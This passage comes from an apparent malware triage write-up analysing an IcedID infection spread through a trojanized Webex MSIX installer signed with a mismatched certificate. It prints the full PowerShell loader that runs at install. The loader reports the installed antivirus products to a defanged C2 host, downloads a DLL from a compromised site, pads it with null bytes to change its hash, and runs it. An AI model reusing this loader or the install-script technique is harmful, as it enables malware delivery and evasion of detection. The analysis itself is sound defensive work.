In this case the script is called <code class="language-plaintext highlighter-rouge">NEW_User0_v2.ps1</code>, located under a path related to a Cisco Webex application.</p>

<p>Because the path is prefixed with <code class="language-plaintext highlighter-rouge">C:\Program Files\WindowsApps</code> this is a indication that this package was launched via an MSIX<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup> <sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup> installer.</p>

<p>We now have some information regarding a potential Infection Vector (IV), which we can pivot off into a large data set.</p>

<p>One such next step may include looking for recent file creations of <code class="language-plaintext highlighter-rouge">.msix</code> files.</p>

<p>Alternatively If you have the ability to query many systems event logs, you can hunt for installed MSIX packages using the log file at the below location.</p>

<p><br /></p>

<blockquote>
  <p>Application and Service Logs &gt; Microsoft &gt; Windows &gt; AppXDeployment-Server &gt; Operational</p>
</blockquote>

<p><br /></p>

<p>Within this log, event code <code class="language-plaintext highlighter-rouge">854</code> contains the path to the installed MSIX package, as shown in <em>Figure 2</em>.</p>

<p><br /></p>

<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/icedid_malware_triage_analysis/Screenshot_appxdeploymentserver.png" />
</div>
<p><em>Figure 2: MSIX Package installation log</em></p>

<p><br /></p>

<p>There are many events generated within this log from installation process, you can download the raw log events from the GitHub repository <a href="https://github.com/0xtechevo/icedid_webex_msix_analysis/blob/main/icedid_appx_deployment_server_msix_installation.evtx">here</a> which you may find interesting.</p>

<p>Before we jump into the PowerShell code, lets take a look at the <code class="language-plaintext highlighter-rouge">Webex-64.msix</code> file identified from the event logs.</p>

<p>You can find a copy of the <code class="language-plaintext highlighter-rouge">Webex-x64.msix</code> file in the bundle supplied by <a href="https://twitter.com/malware_traffic">@malware_traffic</a> linked at the top of this post, or from the malware Bazaar <a href="https://bazaar.abuse.ch/sample/b44857ba393ee929625a2328ded86d1c6d3d63119fb16952c35d35a9711121f4/">here</a></p>

<hr />

<h3 id="msix-installer">MSIX Installer</h3>

<p>Whenever you’re dealing with installation files, a decent first step is to verify its origins.
If you have access to the NTFS file system, you may also find an Alternate Data Stream (ADS) named <code class="language-plaintext highlighter-rouge">Zone.Identifier</code><sup id="fnref:5" role="doc-noteref"><a href="#fn:5" class="footnote" rel="footnote">5</a></sup>.</p>

<p>As I did not have access to the original infected system, we can test this theory out by downloading a legitimate MSIX package and viewing the <code class="language-plaintext highlighter-rouge">Zone.Identifier</code> stream using the following command.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Users\malware\Downloads</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">Get-Content</span><span class="w"> </span><span class="o">.</span><span class="nx">\MSTeams-x64.msix</span><span class="w"> </span><span class="nt">-Stream</span><span class="w"> </span><span class="nx">Zone.identifier</span><span class="w">
</span></code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://www.microsoft.com/
HostUrl=https://statics.teams.cdn.office.net/production-windows-x64/enterprise/webview2/lkg/MSTeams-x64.msix
</code></pre></div></div>

<p>As you can see this <code class="language-plaintext highlighter-rouge">MSTeams-x64.msix</code> came from a legitimate source. Phew.</p>

<p><br />
Using Sigcheck<sup id="fnref:6" role="doc-noteref"><a href="#fn:6" class="footnote" rel="footnote">6</a></sup> from the SysInternals suite, we can print out its hashes and signing information.</p>

<p>Using the command shown below, we can see this file was signed by a company called <code class="language-plaintext highlighter-rouge">IMPERIOUS TECHNOLOGIES LIMITED</code>, which does not quite align with what I would have expected.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\malware\Desktop\Sigcheck&gt;sigcheck.exe -h ..\Webex-x64.msix
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Sigcheck v2.90 - File version and signature viewer
Copyright (C) 2004-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\Users\malware\Desktop\Webex-x64.msix:
        Verified:       Signed
        Signing date:   15:47 07/08/2023
        Publisher:      IMPERIOUS TECHNOLOGIES LIMITED
        Company:        n/a
        Description:    n/a
        Product:        n/a
        Prod version:   n/a
        File version:   n/a
        MachineType:    n/a
        MD5:    814786AA53D93C7FC4917BC713DE7B2B
        SHA1:   BA4EAB30A4DCFEB0704F4BEB5442F325A2F76900
        PESHA1: BA4EAB30A4DCFEB0704F4BEB5442F325A2F76900
        PE256:  B44857BA393EE929625A2328DED86D1C6D3D63119FB16952C35D35A9711121F4
        SHA256: B44857BA393EE929625A2328DED86D1C6D3D63119FB16952C35D35A9711121F4
        IMP:    n/a
</code></pre></div></div>

<p>If we perform the same command against a Cisco Webex installer file downloaded from the Cisco website, we can see it is signed by <code class="language-plaintext highlighter-rouge">Cisco Systems, Inc</code> as expected.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\malware\Desktop\Sigcheck&gt;sigcheck.exe -h ..\Webex.msi
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Sigcheck v2.90 - File version and signature viewer
Copyright (C) 2004-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\Users\malware\Desktop\Webex.msi:
        Verified:       Signed
        Signing date:   01:51 07/12/2023
        Publisher:      Cisco Systems, Inc.
        Company:        n/a
        Description:    n/a
        Product:        n/a
        Prod version:   n/a
        File version:   n/a
        MachineType:    n/a
        MD5:    CB76EFA69C2659A304DF1A156BA75188
        SHA1:   0237F3CFA05E7CDC99C2CC9AD5993B55C4566F83
        PESHA1: 0237F3CFA05E7CDC99C2CC9AD5993B55C4566F83
        PE256:  E7991F58C26141D7660902BB7BE843BB5CF730F8D7AE8F0D89E79F740719E77C
        SHA256: E7991F58C26141D7660902BB7BE843BB5CF730F8D7AE8F0D89E79F740719E77C
        IMP:    n/a
</code></pre></div></div>

<p>Also worth noting down is the different packaging mechanisms, MSI vs MSIX.</p>

<p>Could the MSI have been repackaged with some additional files? 
Short answer: Yes.</p>

<p>Longer answer: Yes, and most likely using stolen signing key.</p>

<p>To look into the signing information in more detail we need to extract the certificate.
The easiest way to do this is to right click on the <code class="language-plaintext highlighter-rouge">MSIX</code> file, navigate to the <code class="language-plaintext highlighter-rouge">Digital Signatures</code> tab and <code class="language-plaintext highlighter-rouge">View Certificate</code>, and loosely shown in <em>Figure 3</em>.</p>

<p>Next click the <code class="language-plaintext highlighter-rouge">Copy to File</code> and choose the option: <code class="language-plaintext highlighter-rouge">Base-64 encoded X.509 (CER)</code>.</p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/icedid_malware_triage_analysis/Screenshot_export_certificate.png" />
</div>
<p><em>Figure 3: Export certificate</em></p>

<p><br /></p>

<p>Now if you load that certificate into CyberChef<sup id="fnref:7" role="doc-noteref"><a href="#fn:7" class="footnote" rel="footnote">7</a></sup>, and <em>bake</em> it using the <code class="language-plaintext highlighter-rouge">Parse X.509 certificate</code> recipe as shown in <em>Figure 4</em>, we can see the certificate details in greater detail.</p>

<p><br /></p>
<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/icedid_malware_triage_analysis/Screenshot_cyber_chef.png" />
</div>
<p><em>Figure 4: Convert certificate in CyberChef</em></p>

<p><br /></p>

<p>Below shows the full output of the certificate (minus some truncated sections).</p>

<p>The primary fields to pay attention to are the <code class="language-plaintext highlighter-rouge">Validity</code> and <code class="language-plaintext highlighter-rouge">Subject</code>.
Here we can see that this certificate was only valid for 1 year thankfully reducing the lifetime it can be abused.
We can also see the original owner of the signing key. As these samples are well over 6 months old now, there is likely not much we can do.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Version:          3 (0x02)
Serial number:    78046918682732812322814242565977865731 (0x3ab74a2ebf93447adb83554b5564fe03)
Algorithm ID:     SHA256withRSA
Validity
  Not Before:     19/05/2023 15:32:29 (dd-mm-yyyy hh:mm:ss) (230519153229Z)
  Not After:      17/05/2024 15:32:29 (dd-mm-yyyy hh:mm:ss) (240517153229Z)
Issuer
  C  = US
  ST = Texas
  L  = Houston
  O  = SSL Corp
  CN = SSL.com Code Signing Intermediate CA RSA R1
Subject
  C  = GB
  L  = Ringwood
  O  = IMPERIOUS TECHNOLOGIES LIMITED
  CN = IMPERIOUS TECHNOLOGIES LIMITED
Public Key
  Algorithm:      RSA
  Length:         4096 bits
  Modulus:        a5:06:b1:fc:26:d9:88:9a:15:8d:78:38:0c:e7:48:3d:
                  f0:13:46:58:06:65:f6:2c:53:9f:b6:d1:ee:6a:96:95:
                  8b:d9:49:4e:e6:96:1d:15:e9:b7:3f:8a:74:bf:b7:61
                  [ TRUNCATED ]
  Exponent:       65537 (0x10001)
Certificate Signature
  Algorithm:      SHA256withRSA
  Signature:      52:4b:31:c7:4f:bf:b1:1b:24:85:70:fc:e5:b0:64:47:
                  11:bf:9b:14:61:47:8c:df:a0:3c:4b:4c:d2:d3:c7:c1:
                  d0:31:ce:41:fe:22:60:94:11:02:7a:83:e8:13:fe:98
                  [ TRUNCATED ]

Extensions
  basicConstraints CRITICAL:
    {}
  authorityKeyIdentifier :
    kid=54c2fe10950093cd6af5e7c0d7d9b24bb88f0ce3
  authorityInfoAccess :
    caissuer: http://cert.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.cer
  certificatePolicies :
    policy oid: 2.23.140.1.4.1
    policy oid: 1.3.6.1.4.1.38064.1.3.3.1
    cps: https://www.ssl.com/repository
  extKeyUsage :
    codeSigning
  cRLDistributionPoints :
    http://crls.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.crl
  subjectKeyIdentifier :
    8975295d2b01bfef939cf9948780b79c33ac8680
  keyUsage CRITICAL:
    digitalSignature

</code></pre></div></div>

<hr />

<p>So far we’ve managed to work out something doesn’t quite add up regarding the file type and signing information.</p>

<p>Let’s dig a little more into the metadata of the <code class="language-plaintext highlighter-rouge">msix</code> file using the <code class="language-plaintext highlighter-rouge">exiftool</code> Linux utility.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>exiftool Webex-x64.msix 
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ExifTool Version Number         : 11.88
File Name                       : Webex-x64.msix
Directory                       : .
File Size                       : 31 MB
File Modification Date/Time     : 2023:08:09 15:23:11+01:00
File Access Date/Time           : 2023:12:17 21:44:34+00:00
File Inode Change Date/Time     : 2023:10:09 19:51:21+01:00
File Permissions                : rw-r--r--
File Type                       : ZIP
File Type Extension             : zip
MIME Type                       : application/zip
Zip Required Version            : 45
Zip Bit Flag                    : 0x000e
Zip Compression                 : Deflated
Zip Modify Date                 : 2023:08:07 15:50:08
Zip CRC                         : 0xa11056fb
Zip Compressed Size             : 1792
Zip Uncompressed Size           : 12288
Zip File Name                   : Registry.dat
Warning                         : [minor] Use the Duplicates option to extract tags for all 72 files
</code></pre></div></div>

<p>It turns out <code class="language-plaintext highlighter-rouge">msix</code> files are <code class="language-plaintext highlighter-rouge">ZIP</code> files.</p>

<p>Using the <code class="language-plaintext highlighter-rouge">unzip</code> Linux utility we can generate a file listing of the MSIX file with the file modified.
The below is truncated to highlight a few select files we’ll be discussing next.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>unzip <span class="nt">-l</span> Webex-x64.msix 
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Archive:  Webex-x64.msix
  Length      Date    Time    Name
---------  ---------- -----   ----
    12288  2023-08-07 15:50   Registry.dat
  1434992  2023-08-07 15:50   Webex.exe
     1345  2023-08-07 15:48   NEW_User0_v2.ps1
      361  2023-08-07 15:50   config.json
   448928  2023-08-07 15:50   PsfRuntime64.dll
   359840  2022-12-14 13:00   PsfRuntime32.dll
   103840  2022-12-14 13:01   PsfRunDll64.exe
    84896  2022-12-14 13:00   PsfRunDll32.exe

    [ TRUNCATED ]

---------                     -------
 32983707                     72 files
</code></pre></div></div>

<p>One thing to notice immediately is the file <code class="language-plaintext highlighter-rouge">NEW_User0_v2.ps1</code>, as previously identified in the PowerShell script block logs.
The file listing also includes all of the files that had similar timestamps (<code class="language-plaintext highlighter-rouge">2023-08-07</code>), which could indicate they were added to the Zip archive along side the PowerShell script.</p>

<p>Simply extract the files using the Linux <code class="language-plaintext highlighter-rouge">unzip</code> utility.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>unzip Webex-x64.msix
</code></pre></div></div>

<p>Starting at the top we see the <code class="language-plaintext highlighter-rouge">Registry.dat</code> file. 
The MSIX installation packages allow applications to isolate their registry integration away from the more traditional hives on the system using a feature called Flexible Virtualisation<sup id="fnref:8" role="doc-noteref"><a href="#fn:8" class="footnote" rel="footnote">8</a></sup>.</p>

<p>You can find out more about how the MSIX packaging system uses the registry <a href="https://www.advancedinstaller.com/hub/msix-packaging/registry.html">here</a></p>

<p>The file is fairly small so we can interrogate it using the <code class="language-plaintext highlighter-rouge">reglookup</code> command as shown.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>reglookup Registry.dat
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PATH,TYPE,VALUE,MTIME
WARN: File header indicated root key at location 0x00001020, but no root key found. Searching rest of file...
/,KEY,,2023-08-07 15:50:07
/REGISTRY,KEY,,2023-08-07 15:50:07
/REGISTRY/MACHINE,KEY,,2023-08-07 15:50:07
/REGISTRY/MACHINE/Software,KEY,,2023-08-07 15:50:07
/REGISTRY/MACHINE/Software/Caphyon,KEY,,2023-08-07 15:50:07
/REGISTRY/MACHINE/Software/Caphyon/Advanced Installer,KEY,,2023-08-07 15:50:07
</code></pre></div></div>

<p>You can view the entire output of the above command <a href="https://github.com/0xtechevo/icedid_webex_msix_analysis/blob/main/reglookup.txt">here</a>, and what you will see is largely expected.
The registry hive contains all the various settings that allow the package to be installed, such as path to icons and shortcut files.</p>

<p><br />
What is interesting, is the string <code class="language-plaintext highlighter-rouge">Caphyon/Advanced Installer</code>.</p>

<p>A little bit of <em>searchengine-ing</em> and this software allows repackaging of software installations into MSIX format.
Very handy indeed if you are looking to trojanize a legitimate software package…</p>

<p>Looking through the <strong>Advanced Installer</strong> documentation<sup id="fnref:9" role="doc-noteref"><a href="#fn:9" class="footnote" rel="footnote">9</a></sup> <sup id="fnref:10" role="doc-noteref"><a href="#fn:10" class="footnote" rel="footnote">10</a></sup>, it details attaching and configuring a PowerShell script to be triggered at installation.
It looks like there are plenty of other options available, and a 30 day trial. Something to look into further most likely.</p>

<p><br /></p>

<p>The next file we come to is a <code class="language-plaintext highlighter-rouge">Webex.exe</code> file. If we take a peek at the signing information using the <code class="language-plaintext highlighter-rouge">osslsigncode</code> command, we can see the digital signature at least says it was signed by Cisco. I couldn’t get any tool to verify this signature.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>osslsigncode verify <span class="nt">-in</span> Webex.exe 
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
Current PE checksum   : 00165D9B
Calculated PE checksum: 0016599B     MISMATCH!!!!

Message digest algorithm  : SHA256
Current message digest    : C97D99B6ABDF24C5DA3402A4E6A958207F8B74CC61D2811A1ACCBBA51D76C369
Calculated message digest : AB5DB69AC4171CC6AD5DF30817AFEBB23785BE0C94A58D8D692614F1513CE994    MISMATCH!!!

Signature verification: ok

Number of signers: 1
	Signer #0:
		Subject: /C=US/ST=California/L=San Jose/O=Cisco Systems, Inc./CN=Cisco Systems, Inc.
		Issuer : /C=US/O=DigiCert, Inc./CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1
		Serial : 06B4FC6C07254274ABFBA95F88F8AC0E

Number of certificates: 2
	Cert #0:
		Subject: /C=US/O=DigiCert, Inc./CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1
		Issuer : /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Trusted Root G4
		Serial : 08AD40B260D29C4C9F5ECDA9BD93AED9
	------------------
	Cert #1:
		Subject: /C=US/ST=California/L=San Jose/O=Cisco Systems, Inc./CN=Cisco Systems, Inc.
		Issuer : /C=US/O=DigiCert, Inc./CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1
		Serial : 06B4FC6C07254274ABFBA95F88F8AC0E

Failed
</code></pre></div></div>

<p>The SHA1 hash value <code class="language-plaintext highlighter-rouge">f32c4d0511a9c9418b049f5937e5b2e73638360e</code> also appeared to flag several detections on VirusTotal<sup id="fnref:11" role="doc-noteref"><a href="#fn:11" class="footnote" rel="footnote">11</a></sup>.</p>

<p><br />
Next we’re going to skip to the file <code class="language-plaintext highlighter-rouge">PsfRuntime64.dll</code></p>

<p>Although there is a <code class="language-plaintext highlighter-rouge">PsfRuntime32.dll</code>, this timestamp aligned more with files currently deemed as highly suspicious on our investigation.</p>

<p>To find out more about the DLL file, we can issue a one-liner <code class="language-plaintext highlighter-rouge">radare2</code> command to output some binary information.</p>

<p>As the output is fairly detailed, I’ve removed some of the less interesting details, you can find the full output <a href="https://github.com/0xtechevo/icedid_webex_msix_analysis/blob/main/radare2_psfruntime64_dll_binary_info.txt">here</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>r2 <span class="nt">-c</span> i  PsfRuntime64.dll
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>file     PsfRuntime64.dll
format   pe64
type     DLL (Dynamic Link Library)
arch     x86
baddr    0x180000000
binsz    448928
bintype  pe
bits     64
class    PE32+
compiled Wed Dec 14 14:01:14 2022
dbg_file C:\ReleaseAI\tools\msix-psf\x64\Release\PsfRuntime64.pdb
subsys   Windows GUI
</code></pre></div></div>

<p>Taking both the compilation timestamp, as well as the <code class="language-plaintext highlighter-rouge">PDB</code><sup id="fnref:12" role="doc-noteref"><a href="#fn:12" class="footnote" rel="footnote">12</a></sup> string it looks like this is generated and inserted into the archive by the <strong>A</strong>dvanced <strong>I</strong>nstaller application.</p>

<p><br /></p>

<p>Moving on up to the <code class="language-plaintext highlighter-rouge">config.json</code> file, whose contents are rather self explanatory.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"processes"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"executable"</span><span class="p">:</span><span class="w"> </span><span class="s2">".*"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"fixups"</span><span class="p">:</span><span class="w"> </span><span class="p">[]</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">],</span><span class="w">
    </span><span class="nl">"applications"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Webex"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"startScript"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"scriptExecutionMode"</span><span class="p">:</span><span class="w"> </span><span class="s2">"-ExecutionPolicy RemoteSigned"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"scriptPath"</span><span class="p">:</span><span class="w"> </span><span class="s2">"NEW_User0_v2.ps1"</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>From the documentation, this configuration file may also contain in-line PowerShell code, so although our sample points to a script, others may use other techniques.</p>

<p><br /></p>

<p>Finally the PowerShell script <code class="language-plaintext highlighter-rouge">NEW_User0_v2.ps1</code></p>

<p>In the interest of making it safe, I have de-fanged the URLs.
I’m not quite ready to have <em>my</em> domain appear as the top referrer to various command and control domains.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sleep</span><span class="w"> </span><span class="nt">-Milliseconds</span><span class="w"> </span><span class="nx">1221</span><span class="w">
</span><span class="p">[</span><span class="n">Net.ServicePointManager</span><span class="p">]::</span><span class="n">SecurityProtocol</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Net.SecurityProtocolType</span><span class="p">]::</span><span class="n">Tls12</span><span class="w">
</span><span class="nv">$AntiVirusProduct</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-WmiObject</span><span class="w"> </span><span class="nt">-Namespace</span><span class="w"> </span><span class="s2">"root\SecurityCenter2"</span><span class="w"> </span><span class="nt">-Class</span><span class="w"> </span><span class="nx">AntiVirusProduct</span><span class="w">
</span><span class="nv">$displayNames</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$AntiVirusProduct</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="bp">$_</span><span class="o">.</span><span class="nf">displayName</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="nv">$displayNamesString</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$displayNames</span><span class="w"> </span><span class="o">-join</span><span class="w"> </span><span class="s2">", "</span><span class="w">
</span><span class="nv">$url11</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"hxxps[:]//9sta9rt4[.]store/?status=start&amp;av=</span><span class="nv">$displayNamesString</span><span class="s2">"</span><span class="w">
</span><span class="n">Invoke-RestMethod</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="nv">$url11</span><span class="w"> </span><span class="nt">-Method</span><span class="w"> </span><span class="nx">GET</span><span class="w">
</span><span class="nv">$randomNumber</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-Random</span><span class="w"> </span><span class="nt">-Minimum</span><span class="w"> </span><span class="nx">1010000</span><span class="w"> </span><span class="nt">-Maximum</span><span class="w"> </span><span class="nx">91198889999</span><span class="w">
</span><span class="p">[</span><span class="n">Net.ServicePointManager</span><span class="p">]::</span><span class="n">SecurityProtocol</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Net.SecurityProtocolType</span><span class="p">]::</span><span class="n">Tls12</span><span class="w">
</span><span class="nv">$webClient</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Net.WebClient</span><span class="w">
</span><span class="nv">$bytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$webClient</span><span class="o">.</span><span class="nf">DownloadData</span><span class="p">(</span><span class="s2">"hxxps[:]//associazionedignita[.]it/wp-content/uploads/2023/06/r.dll"</span><span class="p">)</span><span class="w">
</span><span class="nv">$currentFileSize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$bytes</span><span class="o">.</span><span class="nf">Count</span><span class="w">
</span><span class="nv">$sizeToAdd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-Random</span><span class="w"> </span><span class="nt">-Minimum</span><span class="w"> </span><span class="nx">750000000</span><span class="w"> </span><span class="nt">-Maximum</span><span class="w"> </span><span class="nx">900000000</span><span class="w">
</span><span class="nv">$newFileSize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$currentFileSize</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nv">$sizeToAdd</span><span class="w">
</span><span class="nv">$bytesToAdd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">byte</span><span class="p">[]</span><span class="w"> </span><span class="nv">$sizeToAdd</span><span class="w">
</span><span class="nv">$newBytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">byte</span><span class="p">[]</span><span class="w"> </span><span class="nv">$newFileSize</span><span class="w">
</span><span class="p">[</span><span class="n">System.Array</span><span class="p">]::</span><span class="n">Copy</span><span class="p">(</span><span class="nv">$bytes</span><span class="p">,</span><span class="w"> </span><span class="nv">$newBytes</span><span class="p">,</span><span class="w"> </span><span class="nv">$bytes</span><span class="o">.</span><span class="nf">Length</span><span class="p">)</span><span class="w">
</span><span class="p">[</span><span class="n">System.Array</span><span class="p">]::</span><span class="n">Copy</span><span class="p">(</span><span class="nv">$bytesToAdd</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="nv">$newBytes</span><span class="p">,</span><span class="w"> </span><span class="nv">$bytes</span><span class="o">.</span><span class="nf">Length</span><span class="p">,</span><span class="w"> </span><span class="nv">$bytesToAdd</span><span class="o">.</span><span class="nf">Length</span><span class="p">)</span><span class="w">
</span><span class="p">[</span><span class="n">System.IO.File</span><span class="p">]::</span><span class="n">WriteAllBytes</span><span class="p">(</span><span class="s2">"</span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">APPDATA</span><span class="s2">\z</span><span class="nv">$randomname</span><span class="s2">.dll"</span><span class="p">,</span><span class="w"> </span><span class="nv">$newBytes</span><span class="p">)</span><span class="w">
</span><span class="n">rundll32</span><span class="w"> </span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">APPDATA</span><span class="nx">\z</span><span class="nv">$randomname</span><span class="o">.</span><span class="nf">dll</span><span class="p">,</span><span class="w"> </span><span class="nx">vcab</span><span class="w"> </span><span class="nx">/k</span><span class="w"> </span><span class="nx">chokopai723</span><span class="w">
</span><span class="n">Invoke-WebRequest</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="p">(</span><span class="s2">"hxxps[:]//9sta9rt4[.]store/?status=install"</span><span class="p">)</span><span class="w"> </span><span class="nt">-UseBasicParsing</span><span class="w">

</span><span class="n">Clear-History</span><span class="w">
</span></code></pre></div></div>

<p>Breaking the script into manageable bytes, it begins with a sleep of 1221 milliseconds.</p>

<p>Next it sets some TLS parameters to force TLS version 1.2, before querying the list of antivirus products installed on the host.
Once it has the list, it issues a HTTP GET request sending the list as a URL parameter.</p>

<p>The domain used to receive the information was previously identified in <a href="">part 1</a></p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sleep</span><span class="w"> </span><span class="nt">-Milliseconds</span><span class="w"> </span><span class="nx">1221</span><span class="w">
</span><span class="p">[</span><span class="n">Net.ServicePointManager</span><span class="p">]::</span><span class="n">SecurityProtocol</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Net.SecurityProtocolType</span><span class="p">]::</span><span class="n">Tls12</span><span class="w">
</span><span class="nv">$AntiVirusProduct</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-WmiObject</span><span class="w"> </span><span class="nt">-Namespace</span><span class="w"> </span><span class="s2">"root\SecurityCenter2"</span><span class="w"> </span><span class="nt">-Class</span><span class="w"> </span><span class="nx">AntiVirusProduct</span><span class="w">
</span><span class="nv">$displayNames</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$AntiVirusProduct</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="bp">$_</span><span class="o">.</span><span class="nf">displayName</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="nv">$displayNamesString</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$displayNames</span><span class="w"> </span><span class="o">-join</span><span class="w"> </span><span class="s2">", "</span><span class="w">
</span><span class="nv">$url11</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"hxxps[:]//9sta9rt4[.]store/?status=start&amp;av=</span><span class="nv">$displayNamesString</span><span class="s2">"</span><span class="w">
</span><span class="n">Invoke-RestMethod</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="nv">$url11</span><span class="w"> </span><span class="nt">-Method</span><span class="w"> </span><span class="nx">GET</span><span class="w">
</span></code></pre></div></div>

<p><br />
Following that, the script generates a random number between two values.
It then issues a web request to download a file called <code class="language-plaintext highlighter-rouge">r.dll</code>.</p>

<p>From the <code class="language-plaintext highlighter-rouge">wp-content</code> path in the URI, this appears to be a compromised WordPress instance, and so the domain may have a clean reputation in threat intelligence databases.</p>

<p>Searching for the domain <code class="language-plaintext highlighter-rouge">associazionedignita[.]it</code> on Censys<sup id="fnref:13" role="doc-noteref"><a href="#fn:13" class="footnote" rel="footnote">13</a></sup>, it resolves to the IP address <code class="language-plaintext highlighter-rouge">77[.]111[.]240[.]213</code>.
Censys, was also able to provide the reverse DNS for the IP: <code class="language-plaintext highlighter-rouge">webcluster1.wordpresspod1-cph3.one.com</code> which supports the compromised WordPress theory.</p>

<p><br /></p>

<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/icedid_malware_triage_analysis/Screenshot_censys_2023-12-18 22-58-00.png" />
</div>

<p><br /></p>

<p>Before writing the file to disk, it calculates the file size and stores it in a buffer.
It then calculates the sum of the file size, plus the randomly generated number.</p>

<p>This is used to append NULL bytes to the end of the DLL file as a means to randomize the hash value of the downloaded file.
By doing this on the fly, the actor doesn’t need to host clever build systems which generate payloads upon request.</p>

